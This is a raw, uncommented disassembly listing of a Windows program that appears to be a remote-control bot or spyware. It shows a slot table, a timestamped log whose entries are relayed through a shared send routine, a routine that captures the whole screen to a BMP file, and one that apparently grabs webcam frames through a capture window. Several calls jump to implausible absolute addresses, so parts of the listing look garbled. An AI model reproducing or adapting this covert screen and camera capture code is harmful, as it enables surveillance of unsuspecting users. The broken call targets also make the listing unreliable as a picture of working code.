0FFFFF994h, 0BD832975h dd 0FFFFF994h, 8B207340h, 0FFF98885h, 308D8BFFh, 89FFFFFDh dd 0F998858Ch, 858BFFFFh, 0FFFFF994h, 94858940h, 33FFFFF9h dd 75C085C0h, 806886h, 6A0000h, 0FCAC858Dh, 0E850FFFFh dd 0A564h, 8D0CC483h, 0FFF98C85h, 6A50FFh, 858D006Ah, 0FFFFF994h dd 0FF006A50h, 4E16E815h, 0FC08500h, 3448Eh, 7085C700h dd 10FFFFF7h, 0A0000000h, 4E45ACh, 0F7848588h, 80B9FFFFh dd 33000000h, 85BD8DC0h, 0F3FFFFF7h, 0AAAB66ABh, 0F770858Dh dd 8D50FFFFh, 0FFF77485h, 6A50FFh, 8068h, 0AC858D00h, 50FFFFFCh dd 0FD30B5FFh, 15FFFFFFh, 4E16D8h, 0FFFC4589h, 0FFF778B5h dd 8C15FFFFh, 50004E17h, 0FD34858Dh, 0E850FFFFh, 0AA84h dd 0BE0F5959h, 0FFFCAC85h, 0FC085FFh, 11D85h, 85BE0F00h dd 0FFFFFCADh, 0F01F883h, 10D85h, 0AC858D00h, 89FFFFFCh dd 0FFF76C85h, 0AC858DFFh, 89FFFFFCh, 0FFF76885h, 6C858BFFh dd 40FFFFF7h, 6C858940h, 8DFFFFF7h, 0FFFE5C85h, 41E850FFh dd 5900007Ch, 0F7688D8Bh, 448DFFFFh, 85890301h, 0FFFFF768h dd 6A006Ah, 0FA98B5FFh, 31E8FFFFh, 830000CDh, 0A5800CC4h dd 0FFFFF784h, 8585C600h, 3FFFFF7h, 0F786A580h, 0C600FFFFh dd 0FFF78785h, 0B5FF01FFh, 0FFFFFA98h, 20068h, 8D016A00h dd 0FFF78885h, 0F9E850FFh, 830000A0h, 458910C4h, 70B5FFFCh dd 8DFFFFF7h, 0FFF77485h, 6A50FFh, 83FC458Bh, 8D5004C0h dd 0FFF78485h, 0B5FF50FFh, 0FFFFFD30h, 176415FFh, 858D004Eh dd 0FFFFFD34h, 0C4186850h, 858D0044h, 0FFFFFAACh, 0A992E850h dd 0C4830000h, 0F07D830Ch, 6A217500h, 0EC75FF00h, 0FAAC858Dh dd 8D50FFFFh, 0FFFF6C85h, 0B5FF50FFh, 0FFFFFD54h, 0FF3FBAE8h dd 14C483FFh, 0FAAC858Dh, 0E850FFFFh, 378h, 1A9E959h, 0BE0F0000h dd 0FFFCAC85h, 0FC085FFh, 17885h, 85BE0F00h, 0FFFFFCADh dd 0F04F883h, 16885h, 0AE858A00h, 88FFFFFCh, 0FFF75C85h dd 0AF858AFFh, 88FFFFFCh, 0FFF76485h, 84A580FFh, 0FFFFF7h dd 0F78585C6h, 0F03FFFFh, 0F76485B6h, 0FF3DFFFFh, 75000000h dd 5C858A2Fh, 4FFFFF7h, 5C858801h, 8AFFFFF7h, 0FFF75C85h dd 868588FFh, 80FFFFF7h, 0FFF764A5h, 858A00FFh, 0FFFFF764h dd 0F7878588h, 26EBFFFFh, 0F75C858Ah, 8588FFFFh, 0FFFFF786h dd 0F764858Ah, 104FFFFh, 0F7648588h, 858AFFFFh, 0FFFFF764h dd 0F7878588h, 0B60FFFFFh, 0FFF75C85h, 8E0C1FFh, 648DB60Fh dd 8DFFFFF7h, 89FF0844h, 0FFF76085h, 8B006AFFh, 0FFF76085h dd 9E0C1FFh, 98B5FF50h, 0E8FFFFFAh, 0CB9Ch, 0FF0CC483h dd 0FFFA98B5h, 20068FFh, 16A0000h, 0F788858Dh, 0E850FFFFh dd 9F80h, 8910C483h, 0B5FFFC45h, 0FFFFF770h, 0F774858Dh dd 6A50FFFFh, 0FC458B00h, 5004C083h, 0F784858Dh, 0FF50FFFFh dd 0FFFD30B5h, 6415FFFFh, 83004E17h, 7500FC7Dh, 34858D5Ah dd 50FFFFFDh, 44C43868h, 0AC858D00h, 50FFFFFAh, 0A813E8h dd 0CC48300h, 0F07D83h, 6A2175h, 8DEC75FFh, 0FFFAAC85h dd 858D50FFh, 0FFFFFF6Ch, 54B5FF50h, 0E8FFFFFDh, 0FFFF3E3Bh dd 8D14C483h, 0FFFAAC85h, 0F9E850FFh, 59000001h, 4E421CA1h dd 1CA34000h, 0EB004E42h, 70B5FF22h, 8DFFFFF7h, 0FFF77485h dd 6A50FFh, 5868096Ah, 0FF0044C4h, 0FFFD30B5h, 6415FFFFh dd 0EB004E17h, 0FBC0E905h, 0BBE9FFFFh, 0FFFFFFFBh, 0FFFD30B5h dd 9815FFFFh, 0FF004E17h, 0FFFA98B5h, 7A1AE8FFh, 8B590000h dd 0FFFF6485h, 858948FFh, 0FFFFFF64h, 0FD50858Bh, 0B883FFFFh dd 2A0h, 0FF147500h, 0FFFF60B5h, 65A4E8FFh, 6A59FFFFh dd 99E89000h, 68023E8Dh, 3E8h, 8D8EE890h, 75FF0238h, 0F95AE808h dd 5E5FFFFFh, 4C2C9h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417280 proc near ; CODE XREF: sub_4021E5+631Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_417291 ; --------------------------------------------------------------------------- loc_41728A: ; CODE XREF: sub_417280:loc_417332j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_417291: ; CODE XREF: sub_417280+8j cmp [ebp+var_4], 10h jge loc_417337 mov eax, [ebp+var_4] imul eax, 0B8h movsx eax, byte_453898[eax] test eax, eax jz short loc_4172CC push [ebp+arg_0] mov eax, [ebp+var_4] imul eax, 0B8h add eax, offset byte_453898 push eax call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_417332 loc_4172CC: ; CODE XREF: sub_417280+2Dj push 0B8h push 0 mov eax, [ebp+var_4] imul eax, 0B8h add eax, offset byte_453898 push eax call sub_421410 add esp, 0Ch push 17h push [ebp+arg_0] mov eax, [ebp+var_4] imul eax, 0B8h add eax, offset byte_453898 push eax call sub_421470 add esp, 0Ch push 9Fh push [ebp+arg_4] mov eax, [ebp+var_4] imul eax, 0B8h add eax, offset dword_4538B0 push eax call sub_421470 add esp, 0Ch mov eax, dword_4414AC inc eax mov dword_4414AC, eax jmp short loc_417337 ; --------------------------------------------------------------------------- loc_417332: ; CODE XREF: sub_417280+4Aj jmp loc_41728A ; --------------------------------------------------------------------------- loc_417337: ; CODE XREF: sub_417280+15j ; sub_417280+B0j mov eax, [ebp+var_4] leave retn sub_417280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41733C proc near ; CODE XREF: sub_4021E5+2926p var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 204h push 0 push [ebp+arg_8] push offset dword_44C464 push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h and [ebp+var_4], 0 jmp short loc_41736A ; --------------------------------------------------------------------------- loc_417363: ; CODE XREF: sub_41733C:loc_4173D8j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_41736A: ; CODE XREF: sub_41733C+25j cmp [ebp+var_4], 10h jge short locret_4173DA mov eax, [ebp+var_4] imul eax, 0B8h movsx eax, byte_453898[eax] test eax, eax jz short loc_4173D8 mov eax, [ebp+var_4] imul eax, 0B8h add eax, offset dword_4538B0 push eax mov eax, [ebp+var_4] imul eax, 0B8h add eax, offset byte_453898 push eax push [ebp+var_4] push offset dword_44C478 push 200h lea eax, [ebp+var_204] push eax call sub_421B90 add esp, 18h push 1 push [ebp+arg_8] lea eax, [ebp+var_204] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_4173D8: ; CODE XREF: sub_41733C+46j jmp short loc_417363 ; --------------------------------------------------------------------------- locret_4173DA: ; CODE XREF: sub_41733C+32j leave retn sub_41733C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4173DC proc near ; CODE XREF: sub_4016A7+43Cp ; sub_4016A7+4E5p ... var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_10] push eax nop call near ptr 28A0146h mov [ebp+var_14], 80h jmp short loc_4173FC ; --------------------------------------------------------------------------- loc_4173F5: ; CODE XREF: sub_4173DC:loc_417436j mov eax, [ebp+var_14] dec eax mov [ebp+var_14], eax loc_4173FC: ; CODE XREF: sub_4173DC+17j cmp [ebp+var_14], 0 jl short loc_417438 mov eax, [ebp+var_14] shl eax, 7 movsx eax, byte_4E45B0[eax] test eax, eax jz short loc_417436 push 7Fh mov eax, [ebp+var_14] shl eax, 7 add eax, offset byte_4E45B0 push eax mov eax, [ebp+var_14] inc eax shl eax, 7 add eax, offset byte_4E45B0 push eax call sub_421470 add esp, 0Ch loc_417436: ; CODE XREF: sub_4173DC+35j jmp short loc_4173F5 ; --------------------------------------------------------------------------- loc_417438: ; CODE XREF: sub_4173DC+24j push [ebp+arg_0] movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push 80h push offset byte_4E45B0 call sub_421B90 add esp, 28h leave retn sub_4173DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417472 proc near ; CODE XREF: sub_401DEC+149p ; sub_4021E5+902p ... var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 84h lea eax, [ebp+arg_4] mov [ebp+var_84], eax push [ebp+var_84] push [ebp+arg_0] push 80h lea eax, [ebp+var_80] push eax call sub_422920 add esp, 10h lea eax, [ebp+var_80] push eax call sub_4173DC pop ecx leave retn sub_417472 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h mov dword ptr [ebp-4], 80h and dword ptr [ebp-8], 0 cmp dword ptr [ebp+14h], 0 jnz short loc_4174D9 push 0 push dword ptr [ebp+10h] push offset dword_44C4B0 push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40B00F add esp, 14h loc_4174D9: ; CODE XREF: .XComp0:004174BFj cmp dword ptr [ebp+18h], 0 jz short loc_4174F7 push dword ptr [ebp+18h] call sub_421670 pop ecx mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz short loc_4174F7 mov eax, [ebp-8] mov [ebp-4], eax loc_4174F7: ; CODE XREF: .XComp0:004174DDj ; .XComp0:004174EFj and dword ptr [ebp-0Ch], 0 and dword ptr [ebp-10h], 0 jmp short loc_41750F ; --------------------------------------------------------------------------- loc_417501: ; CODE XREF: .XComp0:loc_41759Bj mov eax, [ebp-0Ch] inc eax mov [ebp-0Ch], eax mov eax, [ebp-10h] inc eax mov [ebp-10h], eax loc_41750F: ; CODE XREF: .XComp0:004174FFj cmp dword ptr [ebp-0Ch], 80h jge locret_4175A0 mov eax, [ebp-10h] cmp eax, [ebp-4] jge short locret_4175A0 mov eax, [ebp-0Ch] shl eax, 7 movsx eax, byte_4E45B0[eax] test eax, eax jz short loc_41759B cmp dword ptr [ebp+18h], 0 jz short loc_417541 cmp dword ptr [ebp-8], 0 jz short loc_417562 loc_417541: ; CODE XREF: .XComp0:00417539j push 1 push dword ptr [ebp+10h] mov eax, [ebp-0Ch] shl eax, 7 add eax, offset byte_4E45B0 push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40B00F add esp, 14h jmp short loc_41759B ; --------------------------------------------------------------------------- loc_417562: ; CODE XREF: .XComp0:0041753Fj push dword ptr [ebp+18h] mov eax, [ebp-0Ch] shl eax, 7 add eax, offset byte_4E45B0 push eax call sub_41A46C pop ecx pop ecx test eax, eax jz short loc_41759B push 1 push dword ptr [ebp+10h] mov eax, [ebp-0Ch] shl eax, 7 add eax, offset byte_4E45B0 push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40B00F add esp, 14h loc_41759B: ; CODE XREF: .XComp0:00417533j ; .XComp0:00417560j ... jmp loc_417501 ; --------------------------------------------------------------------------- locret_4175A0: ; CODE XREF: .XComp0:00417516j ; .XComp0:00417522j leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175A2 proc near ; CODE XREF: sub_4021E5+2B0Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_4175C0 ; --------------------------------------------------------------------------- loc_4175AC: ; CODE XREF: sub_4175A2+27j mov eax, [ebp+var_4] shl eax, 7 and byte_4E45B0[eax], 0 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4175C0: ; CODE XREF: sub_4175A2+8j cmp [ebp+var_4], 80h jge short loc_4175CB jmp short loc_4175AC ; --------------------------------------------------------------------------- loc_4175CB: ; CODE XREF: sub_4175A2+25j cmp [ebp+arg_C], 0 jnz short loc_4175E9 push 0 push [ebp+arg_8] push offset dword_44C4BC push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_4175E9: ; CODE XREF: sub_4175A2+2Dj push offset dword_44C4D0 call sub_4173DC pop ecx leave retn sub_4175A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175F6 proc near ; CODE XREF: sub_41104D+445p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_417607 ; --------------------------------------------------------------------------- loc_417600: ; CODE XREF: sub_4175F6:loc_417640j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_417607: ; CODE XREF: sub_4175F6+8j cmp [ebp+var_4], 80h jge short loc_417642 mov eax, [ebp+var_4] shl eax, 7 movsx eax, byte_4E45B0[eax] test eax, eax jz short loc_417640 push [ebp+arg_0] mov eax, [ebp+var_4] shl eax, 7 add eax, offset byte_4E45B0 push eax call sub_41A46C pop ecx pop ecx test eax, eax jz short loc_417640 push 1 pop eax jmp short locret_417644 ; --------------------------------------------------------------------------- loc_417640: ; CODE XREF: sub_4175F6+29j ; sub_4175F6+43j jmp short loc_417600 ; --------------------------------------------------------------------------- loc_417642: ; CODE XREF: sub_4175F6+18j xor eax, eax locret_417644: ; CODE XREF: sub_4175F6+48j leave retn sub_4175F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417646 proc near ; DATA XREF: sub_4021E5+2A5Bo var_328 = byte ptr -328h var_128 = dword ptr -128h var_124 = byte ptr -124h var_A4 = byte ptr -0A4h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 328h push esi push edi mov [ebp+var_4], 80h and [ebp+var_8], 0 mov esi, [ebp+arg_0] push 45h pop ecx lea edi, [ebp+var_128] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+var_C] mov dword ptr [eax+110h], 1 cmp [ebp+var_1C], 0 jnz short loc_4176A2 push 0 push [ebp+var_20] push offset dword_44C4E4 lea eax, [ebp+var_124] push eax push [ebp+var_128] call sub_40B00F add esp, 14h loc_4176A2: ; CODE XREF: sub_417646+3Bj movsx eax, [ebp+var_A4] test eax, eax jz short loc_4176C9 lea eax, [ebp+var_A4] push eax call sub_421670 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4176C9 mov eax, [ebp+var_8] mov [ebp+var_4], eax loc_4176C9: ; CODE XREF: sub_417646+65j ; sub_417646+7Bj and [ebp+var_10], 0 and [ebp+var_14], 0 jmp short loc_4176E1 ; --------------------------------------------------------------------------- loc_4176D3: ; CODE XREF: sub_417646:loc_417788j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_4176E1: ; CODE XREF: sub_417646+8Bj cmp [ebp+var_10], 80h jge loc_41778D mov eax, [ebp+var_14] cmp eax, [ebp+var_4] jge loc_41778D mov eax, [ebp+var_10] shl eax, 7 movsx eax, byte_4E45B0[eax] test eax, eax jz short loc_417788 movsx eax, [ebp+var_A4] test eax, eax jz short loc_41771C cmp [ebp+var_8], 0 jz short loc_417744 loc_41771C: ; CODE XREF: sub_417646+CEj push 1 push [ebp+var_20] mov eax, [ebp+var_10] shl eax, 7 add eax, offset byte_4E45B0 push eax lea eax, [ebp+var_124] push eax push [ebp+var_128] call sub_40B00F add esp, 14h jmp short loc_417788 ; --------------------------------------------------------------------------- loc_417744: ; CODE XREF: sub_417646+D4j lea eax, [ebp+var_A4] push eax mov eax, [ebp+var_10] shl eax, 7 add eax, offset byte_4E45B0 push eax call sub_41A46C pop ecx pop ecx test eax, eax jz short loc_417788 push 1 push [ebp+var_20] mov eax, [ebp+var_10] shl eax, 7 add eax, offset byte_4E45B0 push eax lea eax, [ebp+var_124] push eax push [ebp+var_128] call sub_40B00F add esp, 14h loc_417788: ; CODE XREF: sub_417646+C3j ; sub_417646+FCj ... jmp loc_4176D3 ; --------------------------------------------------------------------------- loc_41778D: ; CODE XREF: sub_417646+A2j ; sub_417646+AEj push offset dword_44C500 lea eax, [ebp+var_328] push eax call sub_4219C0 pop ecx pop ecx cmp [ebp+var_1C], 0 jnz short loc_4177C7 push 0 push [ebp+var_20] lea eax, [ebp+var_328] push eax lea eax, [ebp+var_124] push eax push [ebp+var_128] call sub_40B00F add esp, 14h loc_4177C7: ; CODE XREF: sub_417646+15Ej lea eax, [ebp+var_328] push eax call sub_4173DC pop ecx push [ebp+var_24] call sub_40D802 pop ecx push 0 nop call near ptr 2800000h pop edi pop esi leave retn 4 sub_417646 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177EB proc near ; CODE XREF: sub_4021E5+5CD9p var_490 = dword ptr -490h var_48C = byte ptr -48Ch var_8C = word ptr -8Ch var_8A = dword ptr -8Ah var_86 = word ptr -86h var_84 = word ptr -84h var_82 = dword ptr -82h var_7C = byte ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = word ptr -68h var_66 = word ptr -66h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 490h push 0 push 0 push 0 push offset aDisplay ; "DISPLAY" call dword_4E16EC ; CreateDCA mov [ebp+var_78], eax cmp [ebp+var_78], 0 jnz short loc_417815 xor eax, eax jmp locret_417AF8 ; --------------------------------------------------------------------------- loc_417815: ; CODE XREF: sub_4177EB+21j push 8 push [ebp+var_78] call dword_4E1708 ; GetDeviceCaps mov [ebp+var_C], eax push 0Ah push [ebp+var_78] call dword_4E1708 ; GetDeviceCaps mov [ebp+var_4], eax push 0Ch push [ebp+var_78] call dword_4E1708 ; GetDeviceCaps mov [ebp+var_1C], eax cmp [ebp+var_1C], 8 ja short loc_41785C push 18h push [ebp+var_78] call dword_4E1708 ; GetDeviceCaps mov [ebp+var_14], eax mov [ebp+var_14], 100h jmp short loc_417860 ; --------------------------------------------------------------------------- loc_41785C: ; CODE XREF: sub_4177EB+58j and [ebp+var_14], 0 loc_417860: ; CODE XREF: sub_4177EB+6Fj push [ebp+var_78] call dword_4E174C ; CreateCompatibleDC mov [ebp+var_4C], eax cmp [ebp+var_4C], 0 jnz short loc_417882 push [ebp+var_78] call dword_4E15BC ; DeleteDC xor eax, eax jmp locret_417AF8 ; --------------------------------------------------------------------------- loc_417882: ; CODE XREF: sub_4177EB+85j mov [ebp+var_48], 28h mov eax, [ebp+var_C] mov [ebp+var_44], eax mov eax, [ebp+var_4] mov [ebp+var_40], eax mov [ebp+var_3C], 1 mov ax, word ptr [ebp+var_1C] mov [ebp+var_3A], ax and [ebp+var_38], 0 and [ebp+var_34], 0 and [ebp+var_30], 0 and [ebp+var_2C], 0 mov eax, [ebp+var_14] mov [ebp+var_28], eax mov eax, [ebp+var_14] mov [ebp+var_24], eax push 0 push 0 lea eax, [ebp+var_18] push eax push 1 lea eax, [ebp+var_48] push eax push [ebp+var_78] call dword_4E1744 ; CreateDIBSection mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4178F8 push [ebp+var_78] call dword_4E15BC ; DeleteDC push [ebp+var_4C] call dword_4E15BC ; DeleteDC xor eax, eax jmp locret_417AF8 ; --------------------------------------------------------------------------- loc_4178F8: ; CODE XREF: sub_4177EB+F2j push [ebp+var_8] push [ebp+var_4C] call dword_4E15D0 ; SelectObject mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_417913 cmp [ebp+var_10], 0FFFFFFFFh jnz short loc_41792C loc_417913: ; CODE XREF: sub_4177EB+120j push [ebp+var_78] call dword_4E15BC ; DeleteDC push [ebp+var_4C] call dword_4E15BC ; DeleteDC xor eax, eax jmp locret_417AF8 ; --------------------------------------------------------------------------- loc_41792C: ; CODE XREF: sub_4177EB+126j push 0CC0020h push 0 push 0 push [ebp+var_78] push [ebp+var_4] push [ebp+var_C] push 0 push 0 push [ebp+var_4C] call dword_4E1748 ; BitBlt test eax, eax jnz short loc_417968 push [ebp+var_78] call dword_4E15BC ; DeleteDC push [ebp+var_4C] call dword_4E15BC ; DeleteDC xor eax, eax jmp locret_417AF8 ; --------------------------------------------------------------------------- loc_417968: ; CODE XREF: sub_4177EB+162j cmp [ebp+var_14], 0 jz short loc_417986 lea eax, [ebp+var_48C] push eax push [ebp+var_14] push 0 push [ebp+var_4C] call dword_4E1624 ; GetDIBColorTable mov [ebp+var_14], eax loc_417986: ; CODE XREF: sub_4177EB+181j mov [ebp+var_8C], 4D42h mov eax, [ebp+var_C] imul eax, [ebp+var_4] imul eax, [ebp+var_1C] shr eax, 3 mov ecx, [ebp+var_14] lea eax, [eax+ecx*4+36h] mov [ebp+var_8A], eax and [ebp+var_86], 0 and [ebp+var_84], 0 mov eax, [ebp+var_14] lea eax, ds:36h[eax*4] mov [ebp+var_82], eax mov [ebp+var_74], 28h mov eax, [ebp+var_C] mov [ebp+var_70], eax mov eax, [ebp+var_4] mov [ebp+var_6C], eax mov [ebp+var_68], 1 mov ax, word ptr [ebp+var_1C] mov [ebp+var_66], ax and [ebp+var_64], 0 and [ebp+var_60], 0 and [ebp+var_5C], 0 and [ebp+var_58], 0 mov eax, [ebp+var_14] mov [ebp+var_54], eax and [ebp+var_50], 0 push 0 push 80h push 2 push 0 push 0 push 40000000h push [ebp+arg_0] nop call near ptr 2851454h mov [ebp+var_490], eax cmp [ebp+var_490], 0FFFFFFFFh jnz short loc_417A51 push [ebp+var_8] call dword_4E165C ; DeleteObject push [ebp+var_4C] call dword_4E15BC ; DeleteDC push [ebp+var_78] call dword_4E15BC ; DeleteDC xor eax, eax jmp locret_417AF8 ; --------------------------------------------------------------------------- loc_417A51: ; CODE XREF: sub_4177EB+242j push 0 lea eax, [ebp+var_7C] push eax push 0Eh lea eax, [ebp+var_8C] push eax push [ebp+var_490] nop call near ptr 2810000h push 0 lea eax, [ebp+var_7C] push eax push 28h lea eax, [ebp+var_74] push eax push [ebp+var_490] nop call near ptr 2810000h cmp [ebp+var_14], 0 jz short loc_417AAA push 0 lea eax, [ebp+var_7C] push eax mov eax, [ebp+var_14] shl eax, 2 push eax lea eax, [ebp+var_48C] push eax push [ebp+var_490] call near ptr 2810000h nop loc_417AAA: ; CODE XREF: sub_4177EB+29Dj push 0 lea eax, [ebp+var_7C] push eax mov eax, [ebp+var_C] imul eax, [ebp+var_4] imul eax, [ebp+var_1C] shr eax, 3 push eax push [ebp+var_18] push [ebp+var_490] nop call near ptr 2810000h push [ebp+var_490] nop call near ptr 27800D6h push [ebp+var_8] call dword_4E165C ; DeleteObject push [ebp+var_4C] call dword_4E15BC ; DeleteDC push [ebp+var_78] call dword_4E15BC ; DeleteDC push 1 pop eax locret_417AF8: ; CODE XREF: sub_4177EB+25j ; sub_4177EB+92j ... leave retn sub_4177EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AFA proc near ; CODE XREF: sub_4021E5+5EB1p var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_2C = dword ptr -2Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 6Ch push 1 push dword_4E85B4 push 78h push 0A0h push 0 push 0 push 40000000h push offset aWindow ; "Window" call dword_4E1650 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_417B34 push 1 pop eax jmp locret_417DDD ; --------------------------------------------------------------------------- loc_417B34: ; CODE XREF: sub_417AFA+30j push [ebp+var_4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_417B59 push 0 push [ebp+arg_4] push 40Ah push [ebp+var_4] call dword_4E175C ; SendMessageA mov [ebp+var_4C], eax jmp short loc_417B5D ; --------------------------------------------------------------------------- loc_417B59: ; CODE XREF: sub_417AFA+45j and [ebp+var_4C], 0 loc_417B5D: ; CODE XREF: sub_417AFA+5Dj cmp [ebp+var_4C], 0 jnz short loc_417B74 push [ebp+var_4] call dword_4E17B0 ; DestroyWindow push 1 pop eax jmp locret_417DDD ; --------------------------------------------------------------------------- loc_417B74: ; CODE XREF: sub_417AFA+67j push [ebp+var_4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_417B9A lea eax, [ebp+var_40] push eax push 2Ch push 40Eh push [ebp+var_4] call dword_4E175C ; SendMessageA mov [ebp+var_50], eax jmp short loc_417B9E ; --------------------------------------------------------------------------- loc_417B9A: ; CODE XREF: sub_417AFA+85j and [ebp+var_50], 0 loc_417B9E: ; CODE XREF: sub_417AFA+9Ej cmp [ebp+var_2C], 0 jnz short loc_417BB5 push [ebp+var_4] call dword_4E17B0 ; DestroyWindow push 1 pop eax jmp locret_417DDD ; --------------------------------------------------------------------------- loc_417BB5: ; CODE XREF: sub_417AFA+A8j push [ebp+var_4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_417BD9 push 0 push 0 push 42Ch push [ebp+var_4] call dword_4E175C ; SendMessageA mov [ebp+var_54], eax jmp short loc_417BDD ; --------------------------------------------------------------------------- loc_417BD9: ; CODE XREF: sub_417AFA+C6j and [ebp+var_54], 0 loc_417BDD: ; CODE XREF: sub_417AFA+DDj mov eax, [ebp+var_54] mov [ebp+var_14], eax push [ebp+var_14] call sub_41EDA0 pop ecx mov [ebp+var_48], eax cmp [ebp+var_48], 0 jnz short loc_417C06 push [ebp+var_4] call dword_4E17B0 ; DestroyWindow push 1 pop eax jmp locret_417DDD ; --------------------------------------------------------------------------- loc_417C06: ; CODE XREF: sub_417AFA+F9j push [ebp+var_14] call sub_41EDA0 pop ecx mov [ebp+var_44], eax cmp [ebp+var_44], 0 jnz short loc_417C29 push [ebp+var_4] call dword_4E17B0 ; DestroyWindow push 1 pop eax jmp locret_417DDD ; --------------------------------------------------------------------------- loc_417C29: ; CODE XREF: sub_417AFA+11Cj push [ebp+var_4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_417C4F push [ebp+var_48] push [ebp+var_14] push 42Ch push [ebp+var_4] call dword_4E175C ; SendMessageA mov [ebp+var_58], eax jmp short loc_417C53 ; --------------------------------------------------------------------------- loc_417C4F: ; CODE XREF: sub_417AFA+13Aj and [ebp+var_58], 0 loc_417C53: ; CODE XREF: sub_417AFA+153j push [ebp+var_14] push [ebp+var_48] push [ebp+var_44] call sub_422B50 add esp, 0Ch cmp [ebp+arg_8], 0 jg short loc_417C73 mov [ebp+var_C], 280h jmp short loc_417C79 ; --------------------------------------------------------------------------- loc_417C73: ; CODE XREF: sub_417AFA+16Ej mov eax, [ebp+arg_8] mov [ebp+var_C], eax loc_417C79: ; CODE XREF: sub_417AFA+177j cmp [ebp+arg_C], 0 jg short loc_417C88 mov [ebp+var_8], 1E0h jmp short loc_417C8E ; --------------------------------------------------------------------------- loc_417C88: ; CODE XREF: sub_417AFA+183j mov eax, [ebp+arg_C] mov [ebp+var_8], eax loc_417C8E: ; CODE XREF: sub_417AFA+18Cj mov [ebp+var_10], 10h mov eax, [ebp+var_44] mov ecx, [ebp+var_C] mov [eax+4], ecx mov eax, [ebp+var_44] mov ecx, [ebp+var_8] mov [eax+8], ecx mov eax, [ebp+var_44] mov cx, word ptr 